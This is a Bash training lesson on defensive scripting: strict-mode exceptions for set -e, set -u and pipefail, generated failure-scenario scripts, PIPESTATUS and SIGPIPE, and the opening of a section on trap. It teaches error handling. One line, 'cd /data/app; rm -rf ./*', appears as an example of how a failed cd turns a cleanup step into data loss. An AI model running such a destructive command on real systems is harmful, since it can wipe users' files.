Bash Hour 4: Robustness — Error Handling and Defensive Scripting

First, make clear set -e when it stops taking effect, then use trap, mktemp, flock, logging, retries and input validation to harden opsctl to v0.2
GNU Bash 5.3 baselineCompatible with 5.2 · note differences from 3.2Snippets actually run on Bash 5.2.37Verified 2026-11-17
Overall learning goals
  • Be able to state precisely the Bash manual's set -e exceptions: while/until conditions,if/elif tests,&& / || commands other than the last in a list, commands other than the last in a pipeline (affected by pipefail),! negation; and that “a function called in an ignored context, and its whole body, -e is fully disabled”. Know that command substitution by default does not inherit errexit (inherit_errexit),local x=$(cmd) and swallows exit codes.
  • Understand set -u the behavior with unset variables,$1, associative-array missing keys, and empty arrays since Bash 4.4 "${a[@]}" no longer raise errors; understand pipefail the conflict with SIGPIPE (141).
  • Can use trap to organize an ERR → EXIT cleanup chain; know that the ERR trap does not enter functions by default (you need set -E), and DEBUG/RETURN need set -T; know that while Bash is waiting for a foreground command,it defers running signal traps, and background processes ignore SIGINT.
  • Use mktemp to create private temporary files/directories with guaranteed cleanup; use “a temp file in the same directory + mv” for atomic replacement.
  • Use flock to prevent concurrent runs, understand that the lock is released automatically when the file descriptor closes, and how to write “idempotent” scripts.
  • Write a log function with levels, timestamps, and writes only to stderr stderr; write a retry function with exponential backoff + jitter and use timeout to put time limits on external commands (meaning of 124/137).
  • Identify and fix shell security issues: word-splitting/glob injection from unquoted expansions,eval, command-substitution injection in arithmetic contexts, missing --, untrusted filenames, PATH hijacking, and treating config files as code source.
  • Apply all of the above to opsctl v0.2: strict mode, trap cleanup, locks,log::*,util::retry, and add export,doctor two subcommands (reusing the v0.1 secure config parsing).

1-hour time allocation

#TimeModuleCore contentAnimation / interactionLab (~/bashlab/ch04)
0Before classPrep: failure scenario scriptsConfirm the Bash version, set up the ch04 workspace, generate 12 “failure scenario scripts”, check opsctl v0.1Environment self-check listmake-scenarios.sh + run-all.sh
100–06Strict mode: set -e, -u, -o pipefailmanual's exception list, command substitution and inherit_errexit,local swallowing exit codes,((i++)), empty arrays, SIGPIPE 141Core animation: set -e / pipefail scenario explorer + trap firing orderRun each scenario and predict the result
206–13trap: EXIT, ERR, INT and cleanupEXIT/ERR/INT/TERM/HUP,set -E/-T,BASH_COMMAND/FUNCNAME stack, signal deferral, SIGINT ignored in background, exit code preservationEvent → trap firing timelineWrite an ERR reporter with a call stack
313–21Temporary files and directories: mktempmktemp/-d/-p/-t, permissions 600/700, races on predictable filenames, cleanup registry, atomic replacementCleanup strategy × exit method simulatorAtomic write + no leftovers after Ctrl-C
421–28Concurrency and locking: flock and idempotenceflock -n/-w/-E/-o,exec {fd}>, lock release on fd close, mkdir locks, cron overlap, idempotent designTwo-process race timelineTwo terminals competing for the lock
528–35Logging and observability: log functionsstdout for data, stderr for logs; levels, timestamps printf '%(...)T', colors and NO_COLOR, logger/journaldLOG_LEVEL filtering and routingImplementation lib/log.sh
635–42Retries, backoff and timeoutsexponential backoff, caps, full jitter, retryable/non-retryable errors,timeout -k, 124/137, functions cannot be timed out directlyBackoff curve + thundering-herd simulatorImplementation util::retry and verify with a flaky script
742–50Security: injection, eval, globword splitting and globbing,--,./*,-print0, eval and printf %q, arithmetic injection, PATH, sourcing configInput → argv injection demonstratorFix 5 snippets of vulnerable code
850–60opsctl v0.2: defensive hardeningFull code and fault injection for bin/opsctl, lib/log.sh, lib/util.sh, cmd_export, cmd_doctoropsctl execution flow + fault injection + troubleshooting treeFull opsctl v0.2 lab
—After classCheat sheet · Capstone labRewrite a “fragile backup script” as a defensive scriptFinal quiz (12 questions)Capstone lab

Knowledge Coverage Matrix

Target skillM1M2M3M4M5M6M7M8Key commands / syntaxLab
Determine whether set -e triggers✓✓···✓·✓set -Eeuo pipefail,shopt -s inherit_errexitScenario script
Unset variables and empty arrays✓·····✓✓${v:-},${v:?},[[ -v ]]M1
Pipe errors and PIPESTATUS✓···✓···pipefail,${PIPESTATUS[@]}M1
trap cleanup and error reporting✓✓✓·✓··✓trap … EXIT ERR INT TERM,BASH_COMMANDM2/M8
Temporary files and atomic writes·✓✓✓··✓✓mktemp -d,mv -fM3/M8
Mutex locks and idempotence···✓···✓flock -n,exec {fd}>>M4/M8
Structured logging·✓··✓✓·✓printf '%(%FT%T%z)T',>&2M5
Retries, backoff, timeouts·····✓·✓timeout -k,$RANDOMM6
Injection and untrusted input··✓···✓✓--,printf %q,-print0M7

Topics not covered in this lesson (and where to learn them)

TopicWhy not in this lessonWhere to learn
Systematic coverage of parameter expansion, quoting and arraysAssumed known in this lesson; only the security implications are coveredLesson 2
Functions, local, nameref, library organization, opsctl v0.1 skeletonThis lesson hardens on top of v0.1Lesson 3
Data processing with awk / find -print0 / xargsThis lesson uses only basic awkLesson 5
Calling APIs with curl, health checks, atomic deployment switching and rollbackThis lesson only writes util::retry, real use over HTTP comes in Lesson 6Lesson 6 (opsctl v0.3: health,backup,deploy)
ShellCheck, shfmt, bats tests, CIStatic checking and testing are separate topicsLesson 7 (opsctl v1.0)
systemd service units, journald, cron basicsBelongs to Linux system administrationLinux 8 + 1 hour course
When not to use Bash any more (heavy state, complex concurrency, cross-platform)Needs configuration management or a general-purpose languageAnsible course, Lesson 8 interview questions

How to use this courseware

10 pages per module
Principles · diagrams · animations · commands · labs · production cases · troubleshooting · quizzes · audio · video. The “animation” in Module 1 is the core of this lesson: predict first, then click “Run” to check.
Learning progress
A quiz score ≥ 70%, or clicking “Mark this module complete”, counts toward progress, saved in this browser (refreshing clears it if local storage is disabled).
Chinese audio
The “Audio” page reads the script aloud using the browser's built-in Web Speech API (en-US); without a Chinese voice pack, the script can still be read or passed to a TTS tool.
Version notes This lesson uses GNU Bash 5.3 (released 2025-07-05, shipped with Ubuntu 26.04) as its baseline; the Bash manual footer reads “GNU Bash 5.3 · 2025 April 7”. Output labeled “Actual run result (Bash 5.2.37)” was really executed on Bash 5.2.37; the errexit, trap and nounset semantics covered here do not change between 5.2 and 5.3, but please verify in your own environment with bash --version to double-check. macOS ships with Bash 3.2: no inherit_errexit (introduced in 4.4),{fd} automatic fd allocation (4.1),declare -A (4.0),${v@Q} (4.4),local -n (4.3), and empty arrays under set -u raise errors — install a newer Bash with Homebrew. Ubuntu 26.04 uses the Rust-implemented coreutils (uutils) by default,mktemp,timeout and a few options or error messages may differ from the GNU version; flock from util-linux, are not affected.

Module 0 · Prep: failure scenario scripts (complete before class)

Set up the ~/bashlab/ch04 workspace, generate 12 reproducible “failure scenario scripts”, and confirm opsctl v0.1 works
Before class ≈ 8 minWork only inside ~/bashlab
Prerequisites
  • CompletedLesson 3: ~/bashlab/opsctl/ has opsctl v0.1 (tag v0.1.0: bin/opsctl,lib/log.sh,lib/util.sh,lib/config.sh,lib/cmd_servers.sh,lib/cmd_config.sh,etc/opsctl.conf). It is fine if you do not have it: the start of the Module 8 lab explains how to get this starting point directly from the Lesson 3 capstone.
  • Have run the Lesson 1 ~/bashlab/make-data.sh,~/bashlab/data/servers.csv exists (header name,env,region,ip,role).
  • Choose one environment: the Linux course's linuxlab VM (Ubuntu 26.04), WSL2, macOS + brew install bash, or a container docker run --rm -it -v "$PWD":/work -w /work bash:5.3 (official bash image is based on Alpine/BusyBox,flock need apk add util-linux,timeout/mktemp is a BusyBox version).

Step 1: Confirm Bash version and key commands

bash --version | head -1
echo "BASH_VERSINFO=${BASH_VERSINFO[*]}"
command -v flock mktemp timeout awk
shopt inherit_errexit
GNU bash, version 5.3.x(1)-release (x86_64-pc-linux-gnu)
BASH_VERSINFO=5 3 x 1 release x86_64-pc-linux-gnu
/usr/bin/flock
/usr/bin/mktemp
/usr/bin/timeout
/usr/bin/awk
inherit_errexit	off
Noteinherit_errexit Default is off; POSIX mode (set -o posix or starting as sh name) turns it on automatically. Seeing shopt: inherit_errexit: invalid shell option name means your Bash is older than 4.4 (macOS ships with 3.2). macOS does not have flock, you can brew install flock, or use the mkdir lock covered in Module 4.

Step 2: Generate failure scenario scripts

Many conclusions in this lesson are counterintuitive. We turn each one into a small script,predict first, then run. The generator below writes into ~/bashlab/ch04/scenarios/ 12 scripts; the last line of each script is echo "reached end"— if you see this line, it means set -e did not cause the script to exit.

#!/usr/bin/env bash
# Generate the Lesson 4 failure scenario scripts (writes only to ~/bashlab/ch04/scenarios)
set -euo pipefail
dir="$HOME/bashlab/ch04/scenarios"
mkdir -p -- "$dir"

mk() {   # mk filename description <<'EOF' script body EOF
  local name=$1 desc=$2
  { printf '#!/usr/bin/env bash\n# %s\nset -e\n' "$desc"; cat; printf 'echo "reached end"\n'; } >"$dir/$name"
  chmod +x -- "$dir/$name"
}

mk s01-plain.sh      "plain command failure"                 <<'EOF'
false
EOF
mk s02-if.sh         "failure in an if condition"              <<'EOF'
if false; then echo "then"; fi
EOF
mk s03-and-list.sh   "&& list: the failing command is not the last one" <<'EOF'
false && echo "never"
EOF
mk s04-and-last.sh   "&& list: the failing command is the last one"   <<'EOF'
true && false
EOF
mk s05-pipe.sh       "pipe: earlier stage fails"               <<'EOF'
false | true
EOF
mk s06-pipefail.sh   "pipe + pipefail"              <<'EOF'
set -o pipefail
false | true
EOF
mk s07-local.sh      "local swallows the exit code of command substitution"   <<'EOF'
f() { local x=$(false); echo "in f, x='$x'"; }
f
EOF
mk s08-cmdsub.sh     "command substitution does not inherit -e"        <<'EOF'
echo "v=$(false; echo still-running)"
EOF
mk s09-func-if.sh    "calling a function inside if"             <<'EOF'
f() { false; echo "in f after false"; }
if f; then echo "f succeeded"; fi
EOF
mk s10-arith.sh      "((i++)) when i=0"               <<'EOF'
i=0
((i++))
EOF
mk s11-andand-last-line.sh "last line of function is [[ ]] && …" <<'EOF'
f() { [[ -n "" ]] && echo "non-empty"; }
f
EOF
mk s12-err-in-func.sh "ERR trap and functions (without -E)"   <<'EOF'
trap 'echo "ERR trap: $BASH_COMMAND" >&2' ERR
f() { false; }
f
EOF
ls -1 -- "$dir"
#!/usr/bin/env bash
# Run each scenario, print output and exit code
cd -- "$HOME/bashlab/ch04/scenarios"
for s in ./s*.sh; do
  out=$(bash "$s" 2>&1); rc=$?
  printf '%-28s rc=%-3s %s\n' "${s#./}" "$rc" "${out//$'\n'/ | }"
done
mkdir -p ~/bashlab/ch04 && cd ~/bashlab/ch04
# After saving the two files above as make-scenarios.sh and run-all.sh:
bash make-scenarios.sh
bash run-all.sh
s01-plain.sh                 rc=1
s02-if.sh                    rc=0   reached end
s03-and-list.sh              rc=0   reached end
s04-and-last.sh              rc=1
s05-pipe.sh                  rc=0   reached end
s06-pipefail.sh              rc=1
s07-local.sh                 rc=0   in f, x='' | reached end
s08-cmdsub.sh                rc=0   v=still-running | reached end
s09-func-if.sh               rc=0   in f after false | f succeeded | reached end
s10-arith.sh                 rc=1
s11-andand-last-line.sh      rc=1
s12-err-in-func.sh           rc=1
Don't look at the answers yet The table above is the most important one in this lesson. Cover it first, write down your prediction for each of the 12 scripts (whether it exits, and with what exit code), then run them and compare. s09 and s11 are the two most common “looks fine” patterns behind production incidents. s12 is the most hidden: the script sets an ERR trap, yet prints not a single line of error message and exits with 1 — Module 2 explains why.

Note: in s12, the ERR trap by default is not inherited by functions; false when a command inside a function f fails,set -e causes the shell to exit immediately from within the function; there is no ERR trap inside the function, so it exits silently. Adding set -E (errtrace) makes it print ERR trap: false.

Step 3: Check opsctl v0.1

cd ~/bashlab/opsctl 2>/dev/null && ls -R bin lib etc || echo "no v0.1: see the start of the Module 8 lab"
~/bashlab/opsctl/bin/opsctl -V; echo "rc=$?"
~/bashlab/opsctl/bin/opsctl servers list --env prod

The Lesson 3 v0.1 convention: the entry point bin/opsctl (opsctl::main parses -c/-v/-h/-V,opsctl::load_command loads by name lib/cmd_<name>.sh and checks cmd::<name>), library functions module::function, configuration is lib/config.sh parsed against an allowlist etc/opsctl.conf, exit codes 0 success / 1 general error / 2 usage error / 3 missing dependency. This lesson does not change these conventions; it only hardens on top of them.

Warm-up: answer from memory (30 seconds)

$? What is saved? The pipeline a | b | c 's $? status: whose is it?

The exit status of the most recent foreground pipeline; by default it is the last command c 's exit code. Each stage's exit code is stored in the array PIPESTATUS .

What situations commonly produce exit codes 126, 127, 130, 137 and 143?

126: command found but not executable (permissions); 127: command not found; 128+N: terminated by signal N — 130 = SIGINT (Ctrl-C), 137 = SIGKILL (9), 143 = SIGTERM (15).

echo "$x" and echo $x when x contains spaces and * what is the difference?

Without quotes, what happens is word splitting and pathname expansion: * gets replaced with the names of files in the current directory. Quoted, it is passed through as a single argument. This is the topic of Module 7.

Environment self-check list
Risk warning This lesson demonstrates rm -rf, signals, concurrency locks and similar operations. All commands run only in ~/bashlab and mktemp the temporary directories created. Do not run the lab as root, and do not change the example paths to system directories.

Module 1 · Strict mode: the real semantics and pitfalls of set -e, -u, -o pipefail

00:00 – 06:00 · “Strict mode” is not one switch but three rules, each with exceptions; learn the exceptions first, then talk about usage
6 minManual text · Bash 5.3Core animation★★★★★
Learning objectives
  • Be able to restate, from the Bash manual, -e the definition and the 5 classes of exceptions, and explain the rule that “exceptions propagate into function bodies”.
  • Be able to determine x=$(false),local x=$(false),echo "$(false)" give different results for these three, and know inherit_errexit what it does and does not cover.
  • Know how set -u handles $1, missing associative-array keys, and empty arrays, and can use ${v:-},${v:?msg},[[ -v name ]].
  • Understand pipefail the return-value rules of PIPESTATUS, and head/grep -q the false SIGPIPE (141) reports caused by
Prerequisites: exit codes,&&/||, functions (Lessons 1–3). Importance:★★★★★ (almost every “silent script failure” incident is related to this)

What: what each of the three rules is

OptionLong nameManual definition (GNU Bash 5.3, verbatim)In one sentence
set -eerrexit“Exit immediately if a pipeline (which may consist of a single simple command), a list, or a compound command returns a non-zero status.”An unchecked failure makes the shell exit
set -unounset“Treat unset variables and parameters other than the special parameters ‘@’ and ‘*’, or array variables subscripted with ‘@’ or ‘*’, as an error when performing parameter expansion.”Referencing an unset variable is an error
set -o pipefailpipefail“If set, the return value of a pipeline is the value of the last (rightmost) command to exit with a non-zero status, or zero if all commands in the pipeline exit successfully.”If any stage of a pipeline fails, the pipeline fails

Exceptions to set -e: the manual, item by item

The manual goes on to say: “The shell does not exit if the command that fails is …”; the following cases do not cause exit:

#Manual textExampleWhy it is designed this way
1“part of the command list immediately following a while or until reserved word”while grep -q x f; do …Loop conditions are meant to end on failure
2“part of the test following the if or elif reserved words”if cmd; then …The failure is already checked by if
3“part of any command executed in a && or || list except the command following the final && or ||”false && x does not exit; true && false the shell exitsfailures before it are “checked” by the list; the last one is not checked by anything
4“any command in a pipeline but the last (subject to the state of the pipefail shell option)”false | trueA pipeline's status by default only looks at the last stage
5“if the command's return value is being inverted with !”! true also does not exita negated status counts as checked

The manual has three equally important sentences:

  • “If a compound command other than a subshell returns a non-zero status because a command failed while -e was being ignored, the shell does not exit.” — for example { false; echo x; } && : in false does not make the shell exit.
  • “If a compound command or shell function executes in a context where -e is being ignored, none of the commands executed within the compound command or function body will be affected by the -e setting, even if -e is set and a command returns a failure status.” — this is why if f; then in f the function body of set -e is entirely disabled (scenario s09).
  • “If a compound command or shell function sets -e while executing in a context where -e is ignored, that setting will not have any effect until the compound command or the command containing the function call completes.” — re-setting it inside the function set -e does not help either.
  • “This option applies to the shell environment and each subshell environment separately”, and “A trap on ERR, if set, is executed before the shell exits.”

Command substitution: the most commonly misunderstood part

FormResult (set -e on)Reason
x=$(false)exits, exit code 1a simple assignment-only command has the status of its last command substitution
local x=$(false) / declare / export / readonlydoes not exitlocal is a builtin that returns its own status (0); the command substitution's status is discarded
echo "v=$(false; echo still)"does not exit, prints v=stillThe command substitution's subshell by default has turned off errexit; the outer echo succeeds
Same as above, plus shopt -s inherit_errexitdoes not exit, prints v=the subshell inherits -e, and at false exits; but the outer echo still succeeds
true "$(false)"does not exitwhen a command substitution is used as an argument, its status is overridden by the command's own status

The manual on inherit_errexit — quoted: “If set, command substitution inherits the value of the errexit option, instead of unsetting it in the subshell environment. This option is enabled when POSIX mode is enabled.” (introduced in Bash 4.4). The correct approach is declare first, then assign: local x; x=$(cmd).

Details of set -u

  • unset ordinary variables, positional parameters ($1), missing keys in associative arrays (${m[nokey]}), out-of-bounds array elements (${a[0]} when the array is empty) all trigger “unbound variable”, and a non-interactive shell exits.
  • $@,$* and "${a[@]}" are not affected. Since Bash 4.4, expanding an empty array "${a[@]}" under set -u no longer errors; on macOS Bash 3.2 it still errors, and the old workaround is ${a[@]+"${a[@]}"}.
  • “declared but unassigned” (declare -a b,local x) are still treated as unset, but "${b[@]}" is an exception.
  • Safe reads: ${v:-default} (use the default when unset or empty),${v-} (replace with empty only when unset),${v:?error message} (required parameter),[[ -v name ]] / [[ -v m[key] ]] (test whether it is set).

pipefail and SIGPIPE

seq 1 100000 | head -n1: head reads a line and exits,seq keeps writing to a closed pipe, gets killed by SIGPIPE, exit code 128+13 = 141. With pipefail on, the whole pipeline returns 141 — if combined with set -e, the script exits on a “perfectly normal” operation. grep -q exiting on the first match has the same problem. Remedies: read all input before truncating (awk 'NR==1',sed -n 1p), write the producer's output to a variable or temporary file first, or explicitly handle pipelines known to be safe PIPESTATUS.

Why: why still use strict mode

By default Bash keeps running after an error: cd /data/app; rm -rf ./* if cd fails,rm it runs in the current directory. Strict mode turns “keep going” into “fail early”; combined with a trap to report errors, it is not error handling in itself but a safety net with holes (the exceptions above), so critical steps must still be checked explicitly: cd -- "$dir" || util::die "…".

How: recommended script header

#!/usr/bin/env bash
set -Eeuo pipefail            # -E: ERR trap is inherited by functions, command substitutions and subshells (Module 2)
shopt -s inherit_errexit      # Bash ≥ 4.4
# Optional: IFS=$'\n\t'  —— use only when you truly rely on “no splitting on spaces”; see the note below

Many articles also count IFS=$'\n\t' in “unofficial strict mode”. This course does not change IFS by default: it changes read -a,"$*" concatenation (joining with newlines) and similar behavior; the real defense is “always quote expansions and pass arguments as arrays” (Module 7).

When: when set -e is not suitable

  • Interactive shells (~/.bashrc) — any failure closes the terminal.
  • Library files loaded by source should not set set -e, as it modifies the caller's shell options; the entry script should set them centrally.
  • Check scripts that need to “complete all steps and then report failures” (for example opsctl doctor): explicitly collect a failure count instead of relying on -e.

Comparison with other languages

Bash + set -ePOSIX sh (dash)PythonPowerShell
Default behaviorkeeps going after failurekeeps going after failureerrors propagate upwardnon-fatal errors continue
“stop on error”set -e (with exceptions)set -e (pipefail has entered POSIX.1-2024, but whether dash and similar implementations support it depends on the version; check with set -o to verify)default$ErrorActionPreference='Stop'
catchesif/||, ERR trapif/||, no ERR traptry/excepttry/catch
cleanuptrap … EXITtrap … EXITfinally/withfinally
Common misconceptions① “Adding set -e makes the script stop running after an error” — see the exception list, and s09: when a function is called inside if/||/&& , the function body's -e is fully disabled. ② “inherit_errexit makes echo "$(false)" fail” — no, it only makes the command substitution exit early; the outer command's status is unchanged. ③ “set -u makes $@ error when empty” — no. ④ “pipefail only makes the script safer” — it also causes false 141 reports. ⑤ “((count++)) is just an increment” — when count is 0 the expression value is 0 and the status is 1, so under set -e the script exits; use ((++count)) or count=$((count + 1)).

Decision flowchart: after a command fails, how set -e decides

Command / pipeline / compound commandreturns non-zero (pipefail affects the pipeline value) Is it in a context where “-e is ignored”? ① the condition list of while / until ② the test part of if / elif ③ a non-last command in an && / || list ④ a non-last pipeline stage (without pipefail) ⑤ negated with ! · and the body of a function called in the contexts above Yes continue with the next commandthe ERR trap does not fire either No Is it a compound command that is non-zero because of an ignored failure inside?e.g. the braces in { false; } && : Yes does not exit No ① run the ERR trap(only if one is set in the current scope) ② the shell exitsexit code = the failing command's status ③ run the EXIT trap$? still holds the failure status and can be used for cleanup Subshells and command substitutions decide independently; command substitutions have -e off by default (inherit_errexit can make them inherit it)
Figure 1-1: errexit decision order: check the context first, then the compound-command rule, finally ERR → exit → EXIT

Diagram: “ignored” propagates down the call chain

Top level (set -e active) deploy ← direct call if deploy; then ← called in a condition deploy || alert ← left side of || deploy function body: -e activeexits at the first failing command deploy function body: -e fully disabledkeeps running after failures; the function returnsthe status of the last command Consequence “backup fails → keep deleting old data” function's last echo succeeds → returns 0 if treats it as success, so the alert never fires Remedy: explicit || return inside the function
Figure 1-2: the same function, called directly vs. in a condition, behaves completely differently under set -e (scenario s09)

Core animation: set -e / pipefail scenario explorer + trap firing order

Choose a scenario and options, predict in your head whether it exits and what it prints, then click “▶ Run” or “Next” to step through line by line. The timeline below shows what happens after a failure: ERR trap → errexit exit → EXIT trap firing order. Each scenario's default combination has been verified on Bash 5.2.37.

Script
Terminal output
Choose a scenario to start.

Core options and builtins

FormEffectNotes / version
set -e / set -o errexitunchecked failure causes exitset +e off; $- contains e means enabled
set -u / set -o nounsetunset variable is an errorSince Bash 4.4, empty arrays "${a[@]}" do not error
set -o pipefailpipeline value is the rightmost non-zero statusno short option; PIPESTATUS array stores each stage's status
shopt -s inherit_errexitcommand substitution inherits errexitBash 4.4+; automatically on in POSIX mode
set -E / set -o errtraceERR trap inherited by functions, command substitutions and subshellsModule 2
set -o / shopt -plist current optionsshopt -po errexit nounset pipefail output in a re-executable form
${v:-x} ${v-x} ${v:?msg} ${v:+x}with default / required / replace if setthe colon form also treats an empty string as missing
[[ -v name ]] [[ -v arr[key] ]]test whether a variable / array element is setBash 4.2+ (associative-array key test 4.3+)
set -euo pipefail
echo "$-"                               # current single-letter options
shopt -po errexit nounset pipefail      # copy-pasteable form
set +o pipefail; shopt -o pipefail      # view a single option
ehuBc
set -o errexit
set -o nounset
set -o pipefail
pipefail       	off

PIPESTATUS: view pipeline status per stage

false | true | (exit 3); echo "${PIPESTATUS[@]}"
set -o pipefail; false | (exit 3) | true; echo "rc=$?"
seq 1 100000 | head -n1; echo "rc=$? PIPESTATUS=${PIPESTATUS[*]}"
1 0 3
rc=3
1
rc=141 PIPESTATUS=141 0

Note:PIPESTATUS is overwritten after the next command runs, so you must immediately copy it: cmd1 | cmd2; ps=("${PIPESTATUS[@]}"). In the third command, 141 comes from the seq stage, caused by SIGPIPE; when the output is small, seq may finish writing before head closes the pipe, and then it is 0 0— this nondeterminism is exactly what makes it dangerous.

Limits of set -u

set -u
a=(); echo "n=${#a[@]}"; for x in "${a[@]}"; do echo "$x"; done; echo ok
echo "${NOPE:-default}" "[${NOPE-}]"
declare -A m=([a]=1); [[ -v m[b] ]] || echo "no key b"
echo "${m[b]}"
n=0
ok
default []
no key b
bash: line 5: m[b]: unbound variable

How to verify: On the macOS built-in /bin/bash (3.2), running line 2 will "${a[@]}" report “a[@]: unbound variable” at Exit code: On this machine's Bash 5.2.37, bash -c exiting due to unbound variable returns 127; do not rely on the specific number, only on “non-zero”.

Lab 1: predict → run → fix (about 6 min)

Run all scenarios (generated in Module 0):
cd ~/bashlab/ch04 && bash run-all.sh

Compare with the table from Module 0. For any mismatch, first check the Bash version (echo $BASH_VERSION).

Fix s07 (local swallows exit code):
cat > scenarios/s07-fixed.sh <<'EOF'
#!/usr/bin/env bash
set -e
f() { local x; x=$(false); echo "in f, x='$x'"; }
f
echo "reached end"
EOF
bash scenarios/s07-fixed.sh; echo "rc=$?"
rc=1
Fix s09 (function called in if)— explicitly check the critical steps inside the function:
cat > scenarios/s09-fixed.sh <<'EOF'
#!/usr/bin/env bash
set -e
f() { false || return; echo "in f after false"; }
if f; then echo "f succeeded"; else echo "f failed rc=$?"; fi
echo "reached end"
EOF
bash scenarios/s09-fixed.sh
f failed rc=1
reached end

return Without arguments, it returns the status of the last command (here false).

Fix s10 and s11:
# s10: ((i++)) has status 1 when i=0
i=0; ((++i)); echo "i=$i"          # or i=$((i + 1))
# s11: the && list on the last line of a function determines the return value
f() { if [[ -n "" ]]; then echo "non-empty"; fi; }   # status is 0 when the if condition is not met
f; echo "rc=$?"
i=1
rc=0
Try inherit_errexit:
bash -c 'set -e;                         echo "v=$(false; echo still)"; echo after'
bash -c 'set -e; shopt -s inherit_errexit; echo "v=$(false; echo still)"; echo after'
v=still
after
v=
after

In line 2, the command substitution false exits early at , so it gets an empty string but the outer command keeps going; to make the outer command fail, you must assign first, then use: v=$(…); echo "v=$v".

SIGPIPE experiment:
bash -c 'set -eo pipefail; seq 1 200000 | head -n1; echo "survived"'; echo "rc=$?"
bash -c 'set -eo pipefail; seq 1 200000 | awk "NR==1"; echo "survived"'; echo "rc=$?"
1
rc=141
1
survived
rc=0
Cleanup: keep the scenario scripts; Module 2 uses them.

Case 1: backup fails, but old backups get deleted

Problem: Nightly script if backup_db; then prune_old; fi,backup_db inside pg_dump … > file fails because the disk is full, but the function's last line echo "backup done" succeeds,if so it is judged successful,prune_old and all old backups were deleted. Fix: When the function is called in a condition context, -e set -e is disabled (per the manual); instead, check each step inside the function || return, and before pruning verify the backup file size and pg_restore --list. Limitation: cannot rely on re-setting set -e.

Case 2: local make a failed key fetch turn into an empty string

Problem:local token=$(vault read -field=token …) When Vault is unreachable it returns an empty string; later curl calls the API with an empty token, gets a 401, and troubleshooting wrongly assumes a permissions problem. Fix:local token; token=$(vault …) and use : "${token:?token is empty}" assertion. ShellCheck's SC2155 flags this problem (Lesson 7).

Case 3: after enabling pipefail, CI fails occasionally

Problem:kubectl get pods | grep -q Running Occasionally returns 141 when there are many pods. Fix: change it to kubectl get pods -o name --field-selector=status.phase=Running | awk 'END{exit NR==0}', or out=$(kubectl get pods); grep -q Running <<<"$out". Limitation: For large output, use a temporary file instead (Module 3).

Common errors and fixes

line 12: 1: unbound variable

Cause:set -u under set -u, it references a positional parameter that was not passed $1.

Fix: for required parameters, use ${1:?usage: script NAME}; for optional parameters, use ${1:-}; first check (( $# >= 1 )).

arr[@]: unbound variable (only appears on macOS)

Cause: In Bash 3.2 / 4.3 and earlier, the expansion of an empty array "${arr[@]}" under set -u raises an error.

bash --version; which -a bash

Fix: use Homebrew's Bash (#!/usr/bin/env bash and put /opt/homebrew/bin in front of PATH); when you must stay compatible with older versions, write ${arr[@]+"${arr[@]}"}.

The script silently exits on some line with no error message (exit code 1)

Cause: common with ((i++)) (when i is 0),grep no matches (status 1),[[ … ]] && … as the last line of a function,read reads EOF.

bash -x ./script.sh 2>&1 | tail -20       # see the last command executed
trap 'echo "ERR $? at line $LINENO: $BASH_COMMAND" >&2' ERR   # temporarily add at the top of the script

Fix:grep … || true (explicitly state that “no match is acceptable”); ((++i)); change && to if.

shopt: inherit_errexit: invalid shell option name

Cause: Bash is older than 4.4. Fix: Upgrade Bash, or do a version check at the top of the script (the opsctl v0.2 approach). Do not use 2>/dev/null || true silently ignore it — that would make you think it is enabled.

A command in a pipeline “failed” without being noticed: curl … | jq …

Cause: Without pipefail, the pipeline status only considers jq; when curl fails, jq may still read empty input and return 0.

Fix:set -o pipefail, and add curl -fsS (HTTP errors return non-zero); when you need to tell which stage failed, read PIPESTATUS.

Command-line exercises
1. Write a command that prints whether the current shell has errexit, nounset and pipefail enabled.
shopt -po errexit nounset pipefail
2. Run tar czf - dir | ssh host 'cat > b.tgz' and print the exit codes of the two parts separately.
tar czf - dir | ssh host 'cat > b.tgz'; ps=("${PIPESTATUS[@]}"); echo "tar=${ps[0]} ssh=${ps[1]}"
Scenario analysis
A colleague says: “I put set -euo pipefail at the top of the script, so check_disk || notify any failing command inside it will exit the script immediately.” Is he right?

No. check_disk It sits on the left side of || list, a context where -e is ignored; according to the manual, all commands in the function body are unaffected by -e, so failures keep going and the function returns the status of the last command. If the last one is echo,notify never gets called. Inside the function, explicitly check critical commands with || return 1.

Verified teaching videos

▶
How To Write Bash Scripts In Linux - Complete Guide (Part 6 - Exit Codes) — Learn Linux TV
English · exit codes and $? basics, a prerequisite for understanding set -e (does not cover the errexit exceptions; this lesson is authoritative on those)

No English video verified via oEmbed that specifically explains set -e the exception rules; the manual and BashFAQ/105 are recommended as authoritative.

Official documentation and authoritative references

Video storyboard (about 90 seconds)

This courseware cannot generate video or MP3 directly; the storyboard and narration script are provided for a video tool.

Shot 1 · 0–15s
Visual: terminal runs set -e; false; echo after, with no output and exit code 1.
Narration: The promise of set -e is simple: an unchecked failure makes the script exit immediately.
Shot 2 · 15–40s
Visual: five cards flip in turn: while condition, if test, left side of && and ||, earlier pipeline stages, negation with !.
Narration: but the manual lists five exceptions. In these positions a failure is considered “already checked”, and the script does not exit.
Shot 3 · 40–65s
Visual: if deploy; then, the deploy function body turns grey, and commands after the false inside it keep running.
Narration: The most dangerous part is that exceptions spread: a function called inside if has set -e disabled throughout its whole body.
Shot 4 · 65–90s
Visual: local x=$(false) and local x; x=$(false) compared, left side green pass, right side red exit.
Narration: Remember one more thing: local swallows the exit code of command substitution. Declare first, then assign.
or score ≥ 70% on the quiz

Module 2 · trap: EXIT, ERR, INT and cleanup

06:00 – 13:00 · ERR handles “reporting”, EXIT handles “wrap-up”, and signal traps handle “turning a signal into one normal exit”
7 minset -E / set -TSignals are deferred★★★★★
Learning objectives
  • Master trap 'action' SIGSPEC…,trap -p,trap - SIG,trap '' SIG four usages, and the four pseudo-signals EXIT, ERR, DEBUG and RETURN.
  • Be able to state the firing order after a failure: ERR trap → errexit exit → EXIT trap; when a signal arrives: signal trap → (calls exit in the trap) → EXIT trap.
  • Know that the ERR trap is not inherited by default by functions, command substitutions or subshells (set -E), DEBUG/RETURN need set -T.
  • Understand two counterintuitive points: while Bash is waiting for a foreground command,it defers running traps; in a non-interactive shell, background commands ignore SIGINT, and a signal ignored at entry cannot be trapped.
Prerequisites: Module 1, processes and signals (Linux course). Importance:★★★★★

What: what trap is

trap is a builtin that registers, for the shell itself, a “command string to run when a signal is received or an event occurs”. Besides real signals (INT, TERM, HUP, QUIT, USR1…), Bash also supports 4 pseudo-signals:

SIGSPECWhen it fires (manual text / key points)Inherited by functions by default?
EXIT (0)“action is executed on exit from the shell” — whether it ends normally,exit N,set -e exits, or a trapped signal is turned into exitapplies only to the current shell; ( … ) and $( … ) is reset in subshells
